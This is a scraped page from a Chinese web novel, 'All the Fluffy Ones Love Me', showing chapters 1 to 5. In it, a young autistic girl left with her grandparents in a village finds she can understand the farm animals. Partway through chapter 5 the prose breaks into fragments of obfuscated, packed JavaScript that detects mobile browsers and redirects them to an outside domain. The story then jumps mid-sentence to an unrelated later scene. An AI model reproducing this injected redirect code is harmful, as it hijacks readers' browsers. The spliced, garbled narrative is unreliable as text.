《所有毛茸茸都爱我》 1. 第1章 《所有毛茸茸都爱我》全本免费阅读 “各位旅客，列车即将到达安县站，请在安县站下车的旅客准备好的自己行李物品……” 高铁上，广播播报结束，原本安静的车厢开始逐渐骚动，陆陆续续有乘客起身。 坐在车厢最前面位置的三连座乘客，更是第一时间站了起来。那是一对年轻男女，男士负责拿架子上的行李箱，女士则是整理座椅上的零碎。 唯独靠窗的小女孩儿，抱着一只毛绒狗，安静地望向车窗外，一动不动。 “东西收拾的差不多了，你牵着念念，我们去前面排队。” 唐振杰推着两个行李箱，已然没办法再牵孩子，只能转头叮嘱妻子。 舒玉华“嗯”了声，转头俯身，轻轻拍了拍孩子的肩膀，“念念，我们快要到爷爷奶奶家了，跟妈妈一起去排队，好吗？” 小女孩儿依旧盯着车窗外，没有任何反应。 舒玉华又叫了几声，察觉到孩子眉头皱起，立即转身走向丈夫。 “我来推行李箱，你去牵念念。” 话音未落，唐振杰手中的行李箱已经被推走，舒玉华动作十分利索，朝着前方排队队伍走去。 唐振杰费了不少心思，终于赶在高铁到站时，说动女儿，牵着对方的小手走下车。 出了火车站，一辆绿色的出租车风驰电掣，朝着安县西南方向的某个小山村驶去。 永唐村，村口大樟树底下，一群老太太正在拉家常，东扯一句西扯一句，只等着日头正晒时，再回家做午饭。 正聊得起劲，其中一个老太太忽然“唉”了声，抬手指向正前方村口那条小路。 “后生瞧着眼熟，是不是庆国家的娃娃？” “庆国他闺女有车，哪用得上走着。” “不是说佳欣那孩子，是到省城去的那个。” “老唐家的的儿子？唉哟，瞧着还真是，这不逢年过节的，咋滴这时候回来了？” 唐庆国在村委下棋，听到村里人传信，说是自家在省城工作的儿子回来了，简直不敢相信。 “胡扯，还没到放假时候。”唐庆国摇头，准备继续下棋。 旁边传信的老头儿却是点头，“哪能骗你，我家老婆子亲眼瞧见的，不止你儿子回来，那儿媳和孙女也一并跟着呢！” 唐庆国依旧不大相信，但到底心里热乎起来，抬手下了一子，拎着水壶转身就走。 “嘿你个老唐，临了还将我一军！” “你个臭棋篓子，老唐老早八早就能将死你，逗你玩儿呢。” “要不是急着回去看儿子，他还得溜你三五十。” “我记得老唐他儿子上次回来，好像是去年五一？这得有一年了吧？” “人家找了个城里媳妇儿，老早就是城里人喽！” * 舒念不是第一次到爷爷奶奶家，但是从村口走到院门口，周遭环境或一路上遇到的陌生人，依旧感到不适。 然而爸爸妈妈并没有发现，只是牵着她，脚步不停。 唐振杰站在熟悉的小院门前，这才露出笑容，低头看向身旁的女儿，说道：“念念，爷爷奶奶家到了，你还记得吗，去年爸爸妈妈带你来过的。” 舒念记得，但她并没有说话，甚至连点头摇头都没有。 唐振杰也不期望女儿能做出反应，自顾推开院门，接过妻子手中的行李箱拿进去。 舒玉华走在后面，将院门推开一半，“念念，跟着进来。” 舒念呆愣愣的站在院门口，好一会儿，终于抬头，轻轻推开另一扇院门。 乡下的小院很大，小小的孩子站在院子中央，就像个小不点儿。 院子里静悄悄的，一个人也没有。 舒念抱着毛绒狗，顿时无措起来，她不知道应该往哪间屋子走进去，爸爸妈妈，他们在哪里呢？ 好像也不需要去找他们，就待在院子里，时间久了，他们会来找自己的。 舒念今年还不满五周岁，不太喜欢说话，但安静地外表下，脑子却是飞速转着，一天能想许多事情。 正出神时，一抹淡黄色的影子忽然从身后窜出来。 小黄狗出门溜达，掐着时间点儿回家吃午饭，还没跑进院子，就闻到陌生的气息，顿时“汪汪”叫唤。 它冲着眼前小女孩儿转圈圈，呲牙咧嘴，表现得很凶。 “哪里来的小娃娃，赶紧走，不然咬死你！”小黄狗还是只幼崽，长得奶乎乎的，却张牙舞爪。 舒念抱着毛绒狗的手指轻轻颤动，眼底滑过不可思议，刚刚，是小狗狗在说话吗？ 小黄狗见陌生人不离开，叫得更凶了。 这一叫，反倒是引来后院散步的大公鸡。 大公鸡去年见过舒念，走近闻着气味也对，扑棱着翅膀直接飞到矮墙上。 “小黄崽子，叫唤啥呢叫唤，那是舒念，爷爷家的小孙女嘞！” 话音刚落，大公鸡想起什么，开始打鸣，一声声传唤告诉邻居们，“舒念来啦！舒念来啦！” 母鸡悠哉悠哉下了个蛋，然后探出脑袋，“咯咯哒，欢迎欢迎。” 老黄牛在后院吃草，听到声响抬头，“哞哞”两声，语气温柔极了，“念念来了，是个乖孩子。” 隔壁的猪圈里，刚到没几天的小猪仔使劲拱门，非要跳出来，“在哪里在哪里，我也要看。” 小黄狗被大家伙儿科普，终于明白过来，眼前的小娃娃原来是自家人。 于是在对方的脚边绕着转圈圈儿，时不时嗅一嗅味道，十分欢快，“舒念！舒念！我晓得嘞，以后记住这个味道。” 舒念已经完全惊呆住，她有些怀疑，自己是不是耳朵出问题了？ 为什么，为什么会听到这么多奇奇怪怪的声音？ 爷爷奶奶家的毛茸茸们，怎么都会开口说话了？ 难道自己进入了神奇的童话世界吗？ 唐振杰已经整理好行李，见女儿迟迟没有进来，就走出屋外瞧。 见孩子木楞的站在太阳底下晒，立即走过去，“念念，太晒了，我们进屋凉一凉。” 舒念没动，眼睛直直盯着矮墙上的大公鸡。 大公鸡与舒念对视，“咯咯咯”叫了几声，“念念是个乖孩子，进屋凉快去。” 舒念眨眨眼，扭头快速看了眼爸爸。 唐振杰不明所以，甚至都未察觉到孩子与自己匆匆对视的动作，他只是蹲下来，耐着性子继续说话。 “念念，夏天的太阳很晒，你还是小孩子，晒久了容易皮肤灼伤。” “我们进屋去，爸爸给你拿冰激凌吃好不好？” “你想要草莓味的吗？或者巧克力味的？我也不知道爷爷奶奶冰箱里有没有，我们一起去看一看，如果没有，爸爸去小店里买一些放着……” 舒念终于迈动脚步，跟着爸爸走进屋子里。 她心里有些遗憾，原来爸爸听不到大公鸡说话，其他毛茸茸的声音，爸爸也听不到。 舒念坐在小凳子上吃冰激凌的时候，爷爷奶奶终于回来了。 唐庆国摸摸孙女的脑袋，大步走进屋内，和儿子热情交流。之后张桂花就开始杀鱼剁肉，准备烧一桌子菜，毕竟儿子儿媳回来了。 舒念一整个中午都坐在凳子上，有时候看一看院子的篱笆墙，有时候看一看趴在自己脚边呼呼睡觉的小黄狗，有时候又盯着奶奶的杀鱼刀，看对方上下挥舞。 张桂花稀罕白白嫩嫩的小孙女，特 2. 第2章 《所有毛茸茸都爱我》全本免费阅读 张桂花以为自己听错了，看向儿子再次求证，“振杰，你怎么个说法？” 唐振杰已经做出决定，直接就说：“妈，玉华她怀孕了，我工作忙，她一个孕妇自己都顾不过来，再加一个孩子根本办不到。念念就在你们身边待一年，等明年玉华生了，我们就接孩子回去，正好可以上小学。” “你媳妇怀孕了啊，那是不好带的，留在这里也好，左右一年很快就过去了……” 张桂花通情达理，十分理解儿媳妇怀孕的艰辛，表示孙女在乡下，那一定给养得白白胖胖的。 唐振杰将两个行李箱的东西都摆出来，都是孩子的日常用品和衣物，并每一样做详细解释。 “妈，念念有自己的生活习惯，你按照我说的来，不要随意改变，否则她容易闹脾气的。” “还有，她的房间东西，你也别随便去动，弄乱了她会不高兴。” “等九月份开学，念念就去镇里上幼儿园，这事儿我已经安排好了。” “还有……” 唐振杰说到最后，从包里抽出一个旅行袋，袋子打开，里面有各种药品。 “这是念念的药，每一种怎么吃，我都做了标注，妈你都看一下，别搞混了。” 张桂花看到一袋子药，直接傻眼，“我孙女好好地，没病吃什么药？” 唐振杰沉默住，半晌艰难开口，“妈，念念有自闭症。” “什么玩意儿？”张桂花再次傻眼。 一个小时后，唐家大女儿到来，给二老科普什么是自闭症，而后唐庆国拿起扫帚，直接扫向儿子。 “振杰！”舒玉华吓得脸色发白，走过去护住。 唐庆国做不出对儿媳打骂的事情，心里憋着一口气，扶着门框直喘粗气。 “孩子留下，你们走。” 唐振杰心头一哽，欲要开口，舒玉华却是说道：“振杰，我们买了下午三点的火车票，快要来不及了。” 唐庆国大手一挥，“赶紧走！” “爸……” “佳欣，送他们去火车站。” 唐佳欣送弟弟弟媳去火车站，唐庆国提着扫帚，看着院子，脸色铁青。 张桂花拎着一袋子药，直呼造孽，“这都什么事儿，孩子有病，这也不管了。” “别提那个畜生，和他那个城里媳妇一样，黑心肝的玩意儿。”唐庆国气极。 张桂花还在找补，“那也不是这么说，振杰他媳妇儿怀孕了……” “怀孕就能扔了孩子不管？不知道的还以为那是后妈！整得一出又一出，不过就是借口怀孕逃避责任。” 张桂花：“唉，这么丁点儿大的孩子，在乡下一年，回去得和爹妈生分了。” 唐庆国：“没良心的爹妈，有个屁用。” “唉？这药底下还有钱？一万整呢！” 张桂花翻出一沓钱，谁知唐庆国嘲讽的更厉害，“你那儿子脸皮可真是厚，一万块要我们两个老的照顾孩子一年，合着每个月一千块都不到，他这是从哪儿算得乡下保姆的价钱？” “老唐你话说的……” “不对，咱俩还得平分，合着每人每月五百块都没有。这畜生咋不上天呢！” 舒念站在楼梯口，听完了全过程，心里没有一点波动。 这事儿她早就知道了，在妈妈刚怀孕时，她就偷听过他们的谈话了。 他们以为她不知道，其实她什么都知道。 她有病，爸爸妈妈更期待一个健康的宝宝，她是不被期待的孩子。 思绪乱飞，舒念越想越多，手中抓着的毛绒狗的力道也越来越大，就在快要失控时，脚边的拉扯感将她拽回现实。 瞥了眼，是小黄狗。 小黄狗清澈的眼神中泛着迷糊，疑惑问道：“念念，你爸爸也是毛茸茸？爷爷喊他畜生呢，他是不是也会变成一只狗？” 大公鸡飞落在窗棱上，听到这话笑死，“小黄崽子，你如果一定要找个同类耍耍，还不如问问念念手中的毛茸茸。” 舒念一瞬戒备，本能抱紧怀里的毛绒狗，一步一步往后退。 此时，她完全顾不上那些大人的事情，只想守卫自己的毛绒狗。 大公鸡看着一人一犬你进我退，越看越是有滋味儿，大热天的，人类幼崽和小狗崽子，真有意思。 直到—— 舒念一把薅住狗头，将小黄狗拎起来。 舒念拎着小黄狗，将对方怼上毛绒狗的眼睛，一字一顿说道：“我的。” 小黄狗被扼制住命运的狗脖子，四只爪子在半空中飞舞，嗷嗷直叫，“撒开，撒开！狗命不保，狗命不保！” “我的。”舒念重复说道。 小黄狗挣扎点头，“你的你的，都是你的！” 舒念听到对方承认，这才松手，小黄狗“扑通”落下，在地上连滚两圈，吃了一嘴巴灰。 但它依旧尾巴摇得欢快，绕着舒念转，“念念，毛绒狗有啥好玩的，摸我摸我。” 舒念侧身避开，甚至举起抓着毛绒狗的那只手，不让小黄狗碰到。 她的眼睛清澈，却没有任何情绪，直白说道：“脏。” 大公鸡原本只是看热闹，但这会儿却是惊呆了，瞅着舒念，不确定问：“念念呀，你听得懂咩？” 舒念没回答，抱着毛绒狗转身，继续回屋睡觉。 而此时的唐庆国，气劲过去后，坐在凳子上，吧嗒吧嗒抽烟。 张桂花已经收好钱和药，却依旧满面愁容，“我们两个老的，怎么照顾一个有病的孩子啊？” “怎么照顾都比他们强，你甭打主意把孩子送回去，就凭他们买当天回去的车票，就已经说明一切了。” “唉……” “别想那么多，去看看孩子，等醒了，好好和她说。” 唐庆国所预想的小孩子离开父母会大哭大闹的场景并没有出现，一觉睡醒的舒念，乖巧的坐在厨房门口的小凳子上，安安静静的喝牛奶。 即便唐庆国说，爸爸妈妈要一年以后才会来接，舒念依旧没有表情。 不哭，不闹，懂事，乖巧，这在唐庆国看来，完全就是好孩子的表现。 “这么乖的孩子，怎么舍得扔乡下呢，没良心的。” 唐庆国再一次暗骂不靠谱的儿子儿媳，回头瞅着白嫩嫩的小孙女，笑得满脸褶子。 说道：“念念啊，爷爷带你去抓鱼，水渠沟里有小鱼，我们抓来喂鸡，母鸡下鸡蛋，给我们念念吃。” 一旁母鸡听得笑眯眯，“咯咯”点头，“小鱼好吃，活的，鲜 3. 第3章 《所有毛茸茸都爱我》全本免费阅读 唐庆国牵着老黄牛回家，推开院门时，就见院子里站着好几个人。 分别是在县城里住着的大女儿和大女婿，还有时常不着家的小女儿。 “哟，什么风，把俩闺女都吹回家了。”唐庆国笑呵呵说话。 身后的老黄牛已经开始做介绍，“念念别紧张，在你左手边的那个是你大姑，旁边那个是你大姑父，你右手边的那个是你小姑，他们都是很好的人。” 听大公鸡说起，舒念可能听得懂它们说话，老黄牛就像个大家长，时刻挂心人类幼崽。 小黄狗跟着点头，绕着家里来人几个转悠一圈儿，嗅完了跑回来。 “对的对的，气味没变，是家里人。” 舒念知道来的不是陌生人，提着的心总算放下，但是自己小姑忽然走近，却让她一瞬开始紧张。 尤其，对方冷不丁伸手，揉了下自己的脑袋。 “哎哟，我这小侄女长得可真标致，好看死了！”唐佳菲是个外貌控，看到漂亮的人或物，就忍不住手痒。 然而小侄女反应巨大，直接歪头，大半个身体侧出去。 小孩子平衡感不好，又是第一次坐在牛背上，随便一个移动，身体就失去平衡，直接从牛背上滑下来。 唐庆国眼疾手快接住，把孩子抱在怀里，轻轻拍背安抚。 扭头瞪了眼小女儿，“你吓唬谁呢！” 唐佳菲一脸懵逼，“爸，我只是表达对侄女的喜爱而已，你哪只眼睛看到我吓唬了？” “两只眼睛都看到了，瞧你整的五颜六色的大花脸，你侄女可不喜欢，没准儿瞧着大白天活见鬼。” “爸，我这是烟熏妆。” “确实跟烟熏了似的，整俩熊猫眼。” “爸……” “没空搭理你。” 唐庆国一手抱孩子，一手牵着牛，去往后院。 舒念吓得不轻，难得乖巧待在爷爷身上，等察觉到不舒服想要下来时，对方却是先一步将自己松开了。 “念念，拿小鱼喂鸡去。” 唐庆国把竹篮递给孙女，任由孩子在后院玩耍，自顾走向前院。 这种放任的粗养模式，给予舒念很大的自由度，比起在家里，爸爸妈妈带她出去玩，时刻紧盯住的感觉，要好太多。 她提着小竹篮，一步一步走向鸡窝，并且按照爷爷的叮嘱，把里头的七八条小鱼喂给鸡吃。 大公鸡闻着鲜味儿赶来，却被舒念挡开。 “念念，我要吃鱼嘞！” 大公鸡看着那么几条小鱼，已经有一半被母鸡吃掉了，更是心急。 要不是瞧着人类幼崽可爱，真想张开翅膀，一巴掌扇过去。 舒念依旧挡住大公鸡，甚至利用毛绒狗，彰显自己的臂展。 她记得很清楚，爷爷说的是，抓小鱼给母鸡吃，母鸡吃完要下蛋。 所以，小鱼是独属于母鸡的，没有大公鸡的份。 机会稍纵即逝，一人一鸡对峙，不过几十秒时间，母鸡已经享用完毕。 “咯咯哒，吃饱喝足，回窝睡觉。”母鸡迈着悠闲惬意的步伐，高兴回鸡窝里。 大公鸡低头看，地上只剩下一些水渍，夕阳下泛起微弱的光芒，不由叹气，“又是痛失小鱼的一天，可恶！我也每天早起打鸣嘞，凭什么只给下蛋的加餐？” 越想越委屈，大公鸡扑棱翅膀，“喔喔喔”叫。 舒念被对方张开的翅膀扇到，一时不察往后倒，为了保护手里的毛绒狗，直接一屁股着地。 唐佳欣寻过来找孩子，恰好看到这一幕，吓得不轻。 两三步疾跑过去，将孩子抱起，又蹲下仔细检查，担心问道：“念念，有没有摔疼了？” 自己弟弟这个孩子，竟然有自闭症，唐佳欣气愤弟弟弟媳不负责任，却更心疼孩子。 尤其，见舒念小腿肚擦破了皮流血不止，却一声不吭任她上药，更觉难受。 “大宝比念念大一岁，平时磕着碰着，哭得嗷嗷的。刚才我给念念擦碘酒，她连眉头都没皱一下。” 饭后，一家子坐着聊天，唐佳欣说起刚才的事情。 “会哭的孩子有糖吃，小孩儿可聪明着呢，知道有人疼，有点事儿就叫唤得厉害。” 唐佳菲十分鄙夷自己的哥哥，把有病的孩子扔给爷爷奶奶，缺德又缺心眼儿，“他不会以为再生一个孩子就一定是健康的吧？万一再生个有毛病的，他俩是不是准备再扔一次？” “佳菲！”唐佳欣听得皱眉，赶紧制止。 一旁唐庆国却是点头，挺赞同小女儿说的，“这话不是没道理，不过那孩子还没生呢，就算生了也和我们两个老的没啥关系。我们现在啊，就专心带着念念。” “爸，你真的要养我小侄女一年呐？”唐佳菲惊呼。 唐庆国：“咋滴！我照顾自己孙女还不行？” “不是不行，不过念念有自闭症，这个不太好照顾，我听妈说，我哥走之前交代了一大堆，你们俩平时记得住吗？” 自己父母虽然还不到六十岁，但到底不再年轻，而且老一辈的人照顾孩子，总归和年轻人不一样。 唐佳菲很担心，一年之后，自己哥嫂回来接孩子，会不会又抱怨父母照顾的不好？ “这万一，我是说万一哈，念念这一年里，病情又重了呢？”唐佳菲问出心中的担忧。 唐庆国：“这事儿我和你妈也不懂，还有那个药，一堆一堆的，实在头疼。我就想着，明天去县城里的医院，去问一问。” 自闭症的孩子怎么照顾，唐庆国哪里晓得，他现在压根不相信儿子说的，只想亲自问一问医生。 对于照顾孩子一事，两个老人已经做出决定，唐佳欣和唐佳菲两姐妹就没再多说。 唐佳欣夫妻当晚回了县城，唐佳菲则是住在家里，等明天一早，送爸妈和侄女去医院。 第二天，一行人到了安县第一医院，唐佳菲提前在网上挂了号，又亲自陪着去就诊室。 医生一直以为唐佳菲是孩子的妈妈，将有关事项交代的很仔细。 唐佳菲越听越不对劲，终于回过神，赶紧解释：“医生，我不是照顾孩子的负责人，我爸妈照顾，你能和他们说得再具体些吗？简单易懂的话就行。” 医生不禁皱眉，“这样的孩子，最好还是父母自己照顾。” 唐佳菲一脸无奈，“谁说不是呢！不过孩子爹妈不靠谱，我只是小姑，工作到处转，只能靠我爸妈了。” 医生顿感无奈，这样不负责任的父母，真是让人气愤又无奈。 但这是别人的家事儿，做医生最忌讳太过同理心，于是转而给两个老人讲解如何照顾自闭症的孩子。 “孩子还不满五周岁，这时候做行为干预，还是很有效果的。如果治疗得当，有很大的机会能够转为正常，让她像个正常孩子一样学习生活……” 唐庆国认真听着，每一句话都记得牢牢地，有哪里不明白的，又反复询问。 最后，从包里抽出一袋子药，问道：“医生，这是我儿子准备的药，我想问问，我孙女都得吃吗？” 药太多，唐庆国看着就遭罪，舍不得孩子一天吞那么多药。 但他又怕不按规定吃药，会加重孩子的病情。 医生翻了所有的药，只拿出其中两三种，“孩子肠胃不好，不舒服犯病时，吃这两种药即可。如果出现焦虑情绪，无法控制时可以吃这种药。” “那其他药呢？” “不用吃。” “这种药呢？我儿子说这个药必须得吃，专门治疗自闭症的。”唐庆国拿出袋子里的一种药。 医生看了，直接摇头，“孩子全套检查下来，说实话，自闭症的情况并不算严重。一般轻微自闭症，我们更倾向于教育干预为主，药物治疗为辅。家庭积极教育，行为干预，其效果比吃药好太多。除非行为问题突出或者干预无效时，才谨慎选择使用药物。” 紧接着，医生又科普讲解各种教育干预的行为方式，务必让两个老人能够听懂明白。 从医 4. 第4章 《所有毛茸茸都爱我》全本免费阅读 午饭后，张桂花哄睡孩子，然后才出去做事。 然而等大人一走，躺在床上酣熟的小人儿却是睁开了眼睛。 小黄狗最是机灵，舒念一醒来它就知道了，立即摇着尾巴问：“念念，你睡醒了啊？” 舒念躺在床上，睁着眼睛看头顶的天花板，她其实根本没睡着。 又或者说，所谓的午休都是大人规定的，他们固执的认为小孩子在长身体，一定要午睡，哪怕只是睡一会会儿。 可是她从来没有困意，甚至被迫午睡后，晚上会更加睡不着。 舒念讨厌晚上黑漆漆的夜，自己一个人躺在房间的小床上，却怎么也睡不着的难受感。 后来，她就学会了作弊，假装睡着，等爸爸妈妈离开房间后，就睁开眼睛看天花板，一直看一直看，看好几个小时。 如果中途听到脚步声，就赶紧闭上。 这一招，屡试不爽，舒念已经习惯成自然了。 这会儿奶奶一走，她也睁开眼睛，不过不同于在家里，住在乡下，睁开眼的自己不是一个人，她的旁边有一只毛茸茸。 小黄狗声音奶奶的，真好听，就是有一点点吵。 舒念想要说不要一直叫，但是话到嘴边又没说，就觉得没必要。 小黄狗叫唤许久，舒念终于从床上坐起来，她慢腾腾起身，一点一点拉整齐自己的枕头和小被子，然后才顺着床沿爬下来。 抱着毛绒狗，站在卧室门口，舒念有些无聊，不知道应该去哪里。 小黄狗以为小主人要和自己玩耍了，于是提议道：“念念，我们去猪窝吧，奶奶刚抓的小猪崽子，白白的，嫩嫩的，和你一样呢！” 舒念想起前几些日子，她刚走进院子时，好像是听到了猪叫声。 那声音急吼吼的，带着“哼哧哼哧”的喘气声。 “念念，走这边，我们绕过奶奶的房间，谁也不知道我们偷偷下楼玩耍了。” 小黄狗在前头探路，一走一个不吱声，侦查的非常仔细。 但是舒念走不快，或者说不习惯跑步，且每一步走得还有点自己的规律。 小黄狗看得焦急，想要催促，又怕叫声太大引起奶奶注意，一整只急得团团转，摇尾巴原地转圈圈。 好不容易走到猪圈，小黄狗一步当先，趴在猪栏边上，热情打招呼，“小白，小白！我带念念找你玩儿来了。” 小猪是刚抓到唐家的，也就几个月大，身上的嫩毛都没退干净，也就比成年大型犬大不了多少，瞧着白嫩又可爱。 然而长得不大，脾气倒是蛮多，“小黄崽子，我和你说了多少遍，叫猪哥。” 家里的一群毛茸茸喜欢排资论辈，大家长自然是老黄牛，接着就是大公鸡和母鸡，小猪仗着自己比小黄狗早到那么两天，非要当一个哥。 小黄狗自认为自己被抓来前已经长了一个多月，比小猪崽子年龄大，但又碍于对方体型庞大，自己奶乎乎一只打不过，勉为其难同辈相称。 谁承想，这小猪崽子不识好歹，让它在小主人跟前丢了脸。 小黄狗眼珠子骨碌碌转，学着大公鸡的语气教育对方，“小白啊小白，毛还没长齐呢，脾气是一天天见长啊！你这样不对，这个家里可是讲规矩的，再这么不听话，以后见面，非得让你喊我一声哥。” 小黄狗话说完，主动往后退，小猪冲过来没撞着狗子，倒是和猪栏来了个亲密接触。 “我的猪鼻子！” 小猪痛的“哼哧哼哧”，在猪圈里来回转圈。 小黄狗很满意对方吃瘪，扭头看向一旁的舒念，“瞧见没，到咱家里没几天呢，倔脾气，老黄说了，得教育。” “小黄崽子，你这只蠢狗，就知道讨小主人欢心，奸诈。” “略略略，我就爱和念念一起玩儿，你不服来呀，有本事从猪圈里跳出来呀！” “你以为我不敢？” “你敢吗？” “你等着！” 激将法好使，一根筋的小猪崽子被激得上头，使劲往猪栏上跳。但是这猪圈是为成年猪设置的，哪是一只猪崽子跳得出来的道理。 于是，屡试屡败，屡败屡试。 舒念站在猪圈外，看着被撞的哐哐作响的猪栏，吓得魂都飞了。 然而脚却跟生了根似的，一步也迈不动。 她好奇的看着眼前的小猪崽子，观察对方的毛发，看对方矫健又滑稽的动作，深深震撼住。 城市里的农场里也有小猪，但是长得和眼前这只完全不一样，而且那些小猪都很安静，吃饱了睡，睡醒了吃，从来不会撞猪栏。 小猪撞猪栏难道不疼吗？ 是不是它也和自己一样，不怎么会感觉到疼？ 舒念记得很清楚，自己更小一些的时候，经常因为平衡感不好摔倒，细皮嫩肉的总是擦伤流血。 可是她一点都不觉得疼，或者只是一点点疼。有时候爸爸妈妈发现自己受伤了，那些伤口都已经快要结痂了。 而她看到的其他小朋友，稍稍摔一跤，都没流血呢，就大哭起来。 一直哭，一直哭，直到爸爸妈妈过来抱起，然后哄啊哄，这才终于 5. 第5章 《所有毛茸茸都爱我》全本免费阅读 “哎哟我的宝唉！” 张桂花赶紧跑过去，将孩子从地上抱起来，正准备哄一哄，却发觉孩子不仅脸色惨白，呼吸更是急促。 但是孩子并没有哭，甚至连泪痕都没有，显然这种急促的呼吸声和哭厥没关系。 “念念，咋滴啦？” 张桂花此时还没有注意到，孩子情绪上已经开始焦躁。 等舒念出现喘不过气的情况时，她才意识到，孩子可能发病了。 老伴儿不在家，这种情况具体该吃什么药也不懂，张桂花急得团团转，直接给县城里的大女儿打电话。 唐佳欣一听侄女发病，立即询问具体情况，而后一边安抚母亲一边说道：“妈，你先别着急！这样，你先带着药和念念去村里的诊所，让忠叔帮忙，我这就赶过来。” “哎，我这就去。” “妈，如果忠叔看过后没有好转，我们立即送医院，你放心，念念肯定没事的。” 张桂花一手提药，一手抱着孩子，直冲村里的小诊所。 途中嫌自己跑得慢，干脆把孩子往胳膊下一夹，跑出农忙双抢时的速度。 永唐村算是一个大村，村里的小诊所一直都有，是同村的一个赤脚大夫开的。 后来医疗体系整顿改革，赤脚大夫进修学习，考了证，小诊所算是保留下来，如今应该称之为乡村卫生服务点。 张桂花抱着孩子冲进去时，老医生唐忠刚好看完一个病人。 “老忠，你赶紧给瞧瞧，我孙女喘不上气了！”张桂花把孩子抱到唐忠跟前。 “吃东西噎着了？” “不晓得，我瞧见时就这模样了。” “赶紧放下孩子，我检查检查。” 诊所里看病的都是同村或邻村的，自然认得张桂花，瞧孩子脸色煞白煞白的，就觉事情不大妙。 于是有好心人赶紧跑出去，寻找唐家大家长，也就是唐庆国。 “庆国叔，庆国叔！赶紧去诊所瞧瞧，你家孙女喘不上气了。” “庆国叔，快快快，你家孙女脸色惨白，快要厥过去了。” 一个个竞相奔走，信息传得飞快，但人传人有时候就很离谱，这信息最后传到唐庆国耳里，直接就变成—— “老唐，你家娃娃不行了，快去诊所看最后一眼吧！” 唐庆国在田地锄草，听到这话，手中的锄头直接掉落在地。 刚迈出一步，就踉跄了。 要不是边上有人扶住，保不齐磕到锄头上，“老唐，你别慌，说不定还有救。” 唐庆国一边往诊所跑，一边思绪乱飞，想的最多的就是孩子要是真的没了，他们两个老的也不活了，跟着到地底下赔罪去。 然而，跑到诊所一瞧，自家小孙女活得好好地，只除了脸色有些难看。 唐忠见唐庆国来了，于是解释情况，“你家孙女是有自闭症？我听嫂子说起的……她这个情况属于自闭症衍生出的焦躁症，一般是由特殊事件或环境引起的，具体情况我也不大懂，这个事儿你还得去县城大医院，找专门的医生瞧一瞧。” “眼下焦躁症缓过来了，不过娃娃情绪还不是很稳定，你们回去找一找什么原因引起的，以后尽量规避……” 唐庆国认真听着，不时点头，十分庆幸自己村里就近有这么一个小诊所。 否则跑镇上卫生院去，起码得耽搁半小时。 回家的路上，舒念依旧情绪不稳定，但即便这样，也不想爷爷奶奶抱。 之前是身体反应激烈，顾不上，也就任由奶奶夹着跑了，这会儿自己能做主，宁愿一步一步慢慢走。 唐庆国和张桂花也不急，陪着孩子一路缓缓走回去，顺便讨论之前的情况。 “咋回事儿，孩子一直好好地，怎么就犯病了？” “我哪里晓得，本来在睡午觉，结果不知怎么的，就跑到猪圈那里去了。” “你没看着她？” “我看她睡得香，就出去做事了。” “我看不行，回头孩子午睡，我俩轮流看着。” “要的要的，就这一次，就把我吓死了。可不敢再一次！” 舒念听爷爷奶奶念叨，却没一个字听得进去，反而在思考弄脏的毛绒狗应该怎么办？ 没有毛绒狗就不能睡觉，不睡觉身体就会不舒服，不舒服又会犯病，如果犯病多了，爷爷奶奶会不会像爸爸妈妈一样，不喜欢她了？ 可是怎么办呢？毛绒狗不干净了。 舒念下意识收紧手臂，怀里空荡荡的，这让她更沮丧了。 她努力控制自己不要焦虑，一路憋着，保持沉默。 小黄狗一直跟在边上，但诊所里医生说的那些话没听懂，它只是凭借本能，感知到小主人情绪低落，而且十分低落。 想来想去，忽然想到遗落在猪圈外的毛绒狗。 于是先一步跑回家，叼起毛绒狗。 等舒念到家时，小黄狗正好把毛绒狗叼到她跟前。 “汪汪！” “念念，你的玩具。” 舒念眼睛顿时发亮，手指不自觉动了两下，却没有伸出手去拿。 她盯着毛绒狗身上的污渍，眉头渐渐皱起。 唐庆国很快注意到孙女的表情，再看脏兮兮的毛绒狗，似乎明白过来。 感情是毛绒玩具弄脏了，不能抱着，心里不舒坦了？ 医生说过，这毛绒玩具一直不离手，算是一种无形的依赖，如果被迫分开，会引起孩子激烈的反应。 “念念，是毛绒狗弄脏了，你不高兴了？”唐庆国蹲下，与孙女平视。 舒念飞快看了眼毛绒狗，没说话。 唐庆国却更加肯定，孩子的焦躁症之所以发作，就是因为这只脏兮兮的毛绒玩具。 看孙女的样子，毛绒玩具是不可能扔的，就算换一个，估计也不好使。 于是说道：“念念啊，咱不着急，脏了就洗洗，洗干净还是原来的那一只。” 脏了，能洗干净吗？ 舒念眨眨眼睛，有些期待，又有些疑惑。 张桂花已经拿起毛绒狗，瞅了两眼，直接笑了，“洗的干净，就沾了点泔水，奶奶用肥皂搓一搓，洗完了晒干，保证跟原来的一模一样。” “对，和衣服脏了洗一洗，干净了又能穿，是一个道理。” 唐庆国想起什么，又交代老伴儿，“你用孩子平常洗衣服的那什么洗衣液洗，那玩意儿洗出来的味道和她衣服一样。” “我晓得，这孩子只认那个味道。” 张桂花拎着毛绒狗去洗水槽。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090710|163646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴就好。” 唐佳菲去柜台付款，而后带着孩子离开。 时间尚早，距离吃晚饭还有两三个小时，来都来了，不逛街说不过去。 唐佳菲买买买的欲望爆棚，低头笑眯眯说：“念念，小姑带你买衣服去，给你买漂亮的小裙子。” 最后，舒念收获两条粉色的裙子，整个购买过程只有十分钟。 然后，就被小姑牵着，往都市女装走去。 “念念，你坐在这里，小姑挑衣服去。记住啊，不能跟陌生人走，不拿陌生人的零食和饮料。” 唐佳菲对试衣服十分热衷，进了一家店，甭管买不买，喜欢的款式都要试穿。 舒念跟着转了一个又一个女装店，每次都是机器人一样，遵循进店——坐下——离开——再进店的模式。 唐佳菲买衣服上瘾，很快忘了时间的概念。 舒念辗转每一个陌生场所，看到来来往往那么多生面孔，即便心里不断告诉自己不要紧张，但身体本能却是控制不住。 她握着胸前的琥珀石，抬头张望，想要寻找小姑的身影。 然而除了人，还是人，眼前走来走去的，全部都是陌生人。 “小妹妹好可爱，长得像洋娃娃一样。” “好想摸一摸啊，好白好精致。” “她害羞了耶！” 